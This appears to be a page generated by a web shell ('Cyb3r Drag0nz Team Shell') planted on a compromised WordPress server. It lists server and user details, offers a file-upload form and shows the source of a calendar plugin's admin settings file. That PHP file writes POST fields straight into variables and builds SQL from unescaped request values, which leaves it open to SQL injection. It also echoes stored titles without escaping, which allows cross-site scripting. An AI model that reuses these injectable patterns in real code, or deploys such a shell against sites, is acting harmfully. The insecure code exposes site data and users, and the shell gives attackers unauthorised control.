Google

Cyb3r Drag0nz Team Shell

Server : Apache
System : Linux webd003.cluster126.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : atwiofrxug (73666)
PHP Version : 8.4.10
Disable Functions : _dyuweyrj4,_dyuweyrj4r,dl
Current Directory : /home/atwiofrxug/mylittletelaviv/wp-content/plugins/dpProEventCalendar/settings/
Directory Status: Writeable | Document Root: Writeable

Upload File







Viewing: /home/atwiofrxug/mylittletelaviv/wp-content/plugins/dpProEventCalendar/settings/special.php

<?php
// This function displays the admin page content
function dpProEventCalendar_special_page() {
	global $wpdb, $table_prefix, $dpProEventCalendar;
	$table_name = $table_prefix.DP_PRO_EVENT_CALENDAR_TABLE_SPECIAL_DATES;
	
	if ($_POST['add']) {
		
		foreach($_POST as $key=>$value) { $$key = $value; }
		
		$title = strip_tags(str_replace("'", '"', $title));
		
		$sql = "INSERT INTO $table_name ";
		$sql .= "(title, color) ";
		$sql .= "VALUES ";
		$sql .= "('$title', '$color');";
		$result = $wpdb->query($sql);
		
		wp_redirect( admin_url('admin.php?page=dpProEventCalendar-special&settings-updated=1') );
		exit;
	}
	
	if ($_POST['edit']) {
		
		foreach($_POST as $key=>$value) { $$key = $value; }
		
		$title = strip_tags(str_replace("'", '"', $title));
		
		$sql = "UPDATE $table_name SET ";
		$sql .= "title = '$title', ";
		$sql .= "color = '$color' ";
		$sql .= "WHERE id = $id;";
		$result = $wpdb->query($sql);
		
		wp_redirect( admin_url('admin.php?page=dpProEventCalendar-special&settings-updated=1') );
		exit;
	}
	
	if ($_GET['delete_sp_date']) {
	   $sp_date_id = $_GET['delete_sp_date'];
	   
	   $sql = "DELETE FROM $table_name WHERE id = $sp_date_id;";
	   $result = $wpdb->query($sql);
	   	   
	   wp_redirect( admin_url('admin.php?page=dpProEventCalendar-special&settings-updated=1') );
	   exit;
	}
	?>

    <div class="wrap" style="clear:both;" id="dp_options">
    
    <h2></h2>
    <div style="clear:both;"></div>
     <!--end of poststuff --> 
        <div id="dp_ui_content">
            
            <div id="leftSide">
                <div id="dp_logo"></div>
                <p>
                    Version: <?php echo DP_PRO_EVENT_CALENDAR_VER?><br />
                </p>
                <ul id="menu" class="nav">
                	<li><a href="admin.php?page=dpProEventCalendar-settings" title=""><span><?php _e('General Settings','dpProEventCalendar'); ?></span></a></li>
                    <li><a href="admin.php?page=dpProEventCalendar-admin" title=""><span><?php _e('Calendars','dpProEventCalendar'); ?></span></a></li>
                    <li><a href="edit.php?post_type=pec-events" title=""><span><?php _e('Events','dpProEventCalendar'); ?></span></a></li>
                    <li><a href="edit.php?post_type=pec-venues" title=""><span><?php _e('Venues','dpProEventCalendar'); ?></span></a></li>
                    <li><a href="javascript:void(0);" title="" class="active"><span><?php _e('Special Dates / Event Color','dpProEventCalendar'); ?></span></a></li>
	                <li><a href="admin.php?page=dpProEventCalendar-custom-shortcodes" title=""><span><?php _e('Custom Shortcodes','dpProEventCalendar'); ?></span></a></li>
                    <?php
					if ( is_plugin_active( 'dp-pec-payments/dp-pec-payments.php' ) ) {
					?>
					<li><a href="admin.php?page=dpProEventCalendar-payments" title=""><span><?php _e('Payments Options','dpProEventCalendar'); ?></span></a></li>
					<?php }?>
                    <li><a href="http://wpsleek.com/pro-event-calendar-documentation/" target="_blank" title=""><span><?php _e('Documentation','dpProEventCalendar'); ?></span></a></li>
                </ul>

                <a href="http://codecanyon.net/downloads" target="_blank" class="rate_plugin">
                    <?php _e('Rate this plugin!','dpProEventCalendar'); ?>
                    <br>
                    <span class="dashicons dashicons-star-filled"></span>
                    <span class="dashicons dashicons-star-filled"></span>
                    <span class="dashicons dashicons-star-filled"></span>
                    <span class="dashicons dashicons-star-filled"></span>
                    <span class="dashicons dashicons-star-filled"></span>
                </a>
                
                <div class="clear"></div>
            </div>     
            
            <div id="rightSide">
                <div id="menu_general_settings">
                    <div class="titleArea">
                        <div class="wrapper">
                            <div class="pageTitle">
                                <h2><?php _e('Special Dates / Event Color','dpProEventCalendar'); ?></h2>
                                <span><?php _e('Add special dates to use in the calendars. Such as holidays, company events, personal events, etc... Assign them to calendars and events.','dpProEventCalendar'); ?></span>
                            </div>
                            
                            <div class="clear"></div>
                        </div>
                    </div>
                    
                    <div class="wrapper">
                    	<div id="dpProEventCalendar_SpecialDates" class="dpProEventCalendar_ModalManager" title="<?php echo __( 'Add new special date', 'dpProEventCalendar' )?> / <?php echo __( 'Event Color', 'dpProEventCalendar' )?>">
                        <form method="post" action="<?php echo admin_url('admin.php?page=dpProEventCalendar-special&noheader=true'); ?>" onsubmit="return special_checkform();">
                        <input type="hidden" name="add" value="1" />
                        <div class="option option-checkbox no_border">
                            <div class="option-inner">
                                <table width="100%" cellpadding="0" cellspacing="0">
                                    <tr height="50" class="row">
                                        <td width="20%"><span><?php _e('Title','dpProEventCalendar'); ?></span></td>
                                        <td><input type="text" class="regular-text" name="title" id="dpEventsCalendar_title" /></td>
                                    </tr>
									
                                    <tr height="50" class="row">
                                        <td width="20%"><span><?php _e('Color','dpProEventCalendar'); ?></span></td>
                                        <td><div id="specialDate_colorSelector" class="colorSelector"><div style="background-color: #fff"></div></div>
                                        <input type="hidden" name="color" id="dpProEventCalendar_color" value="#fff" /></td>
                                    </tr>
                                    
                                    <tr height="50">
                                    	<td colspan="2" align="center">
                                    		<input type="submit" class="button" value="<?php _e('Submit') ?>" />
                                    	</td>
                                    </tr>
                            	</table>
                        	</div>
                        </div>
                        <div class="clear"></div>
                        </form>
                        </div>
                        
                        <div id="dpProEventCalendar_SpecialDatesEdit" class="dpProEventCalendar_ModalManager" title="Edit Special Date">
                        <form method="post" action="<?php echo admin_url('admin.php?page=dpProEventCalendar-special&noheader=true'); ?>" onsubmit="return special_checkform_edit();">
                        <input type="hidden" name="edit" value="1" />
                        <input type="hidden" name="id" id="dpPEC_special_id" value="" />
                        <div class="option option-checkbox no_border">
                            <div class="option-inner">
                                <table width="100%" cellpadding="0" cellspacing="0">
                                    <tr height="50" class="row">
                                        <td width="20%"><span><?php _e('Title','dpProEventCalendar'); ?></span></td>
                                        <td><input type="text" class="regular-text" name="title" id="dpPEC_special_title" /></td>
                                    </tr>
									
                                    <tr height="50" class="row">
                                        <td width="20%"><span><?php _e('Color','dpProEventCalendar'); ?></span></td>
                                        <td><div id="specialDate_colorSelector_Edit" class="colorSelector"><div></div></div>
                                        <input type="hidden" name="color" id="dpPEC_special_color" value="" /></td>
                                    </tr>
                                    
                                    <tr height="50">
                                    	<td colspan="2" align="center">
                                    		<input type="submit" class="button" value="<?php _e('Submit') ?>" />
                                    	</td>
                                    </tr>
                            	</table>
                        	</div>
                        </div>
                        <div class="clear"></div>
                        </form>
                        </div>
                        
                        <div class="submit">
                        
                        <input type="button" value="<?php echo __( 'Add new special date', 'dpProEventCalendar' )?> / <?php echo __( 'Event Color', 'dpProEventCalendar' )?>" class="btn_add_special_date button" />
                        
                        </div>
                        <table class="widefat" cellpadding="0" cellspacing="0" id="sort-table">
                        	<thead>
                        		<tr style="cursor:default !important;">
                                	<th width="10%"><?php _e('ID','dpProEventCalendar'); ?></th>
                                    <th width="40%"><?php _e('Title','dpProEventCalendar'); ?></th>
                                    <th width="30%"><?php _e('Color','dpProEventCalendar'); ?></th>
                                    <th width="20%"><?php _e('Actions','dpProEventCalendar'); ?></th>
                                 </tr>
                            </thead>
                            <tbody>
                        <?php 
						$counter = 0;
                        $querystr = "
                        SELECT *
                        FROM $table_name 
                        ORDER BY title ASC
                        ";
                        $sp_dates_obj = $wpdb->get_results($querystr, OBJECT);
                        foreach($sp_dates_obj as $sp_dates) {
                            echo '<tr id="'.$sp_dates->id.'">
									<td>'.$sp_dates->id.'</td>
									<td>'.$sp_dates->title.'</td>
									<td><div style="background-color: '.$sp_dates->color.'; height: 10px; width: 30px; padding-top: 4px; margin-top: 2px; border: 2px solid #333;"></div></td>
									<td>
										<input type="button" value="'.__( 'Edit', 'dpProEventCalendar' ).'" name="edit_special" data-special-date-id="'.$sp_dates->id.'" data-special-date-title=\''.$sp_dates->title.'\' data-special-date-color="'.$sp_dates->color.'" class="btn_edit_special_date button-secondary" />
										<input type="button" value="'.__( 'Delete', 'dpProEventCalendar' ).'" name="delete_special" class="button-secondary" onclick="if(confirmSpecialDelete()) { location.href=\''.admin_url('admin.php?page=dpProEventCalendar-special&delete_sp_date='.$sp_dates->id.'&noheader=true').'\'; }" />
									</td>
								</tr>'; 
							$counter++;
                        }
                        ?>
                        
                    		</tbody>
                            <tfoot>
                            	<tr style="cursor:default !important;">
                                	<th><?php _e('ID','dpProEventCalendar'); ?></th>
                                    <th><?php _e('Title','dpProEventCalendar'); ?></th>
                                    <th><?php _e('Color','dpProEventCalendar'); ?></th>
                                    <th><?php _e('Actions','dpProEventCalendar'); ?></th>
                                 </tr>
                            </tfoot>
                        </table>
                        
                        <div class="submit">
                        
                        <input type="button" value="<?php echo __( 'Add new special date', 'dpProEventCalendar' )?> / <?php echo __( 'Event Color', 'dpProEventCalendar' )?>" class="btn_add_special_date button" />
                        
                        </div>
                    </div>
                </div>           
            </div>
        </div>

                    
</div> <!--end of float wrap -->


<?php	
}
?>

Cyb3r Drag0nz Team • Google Edition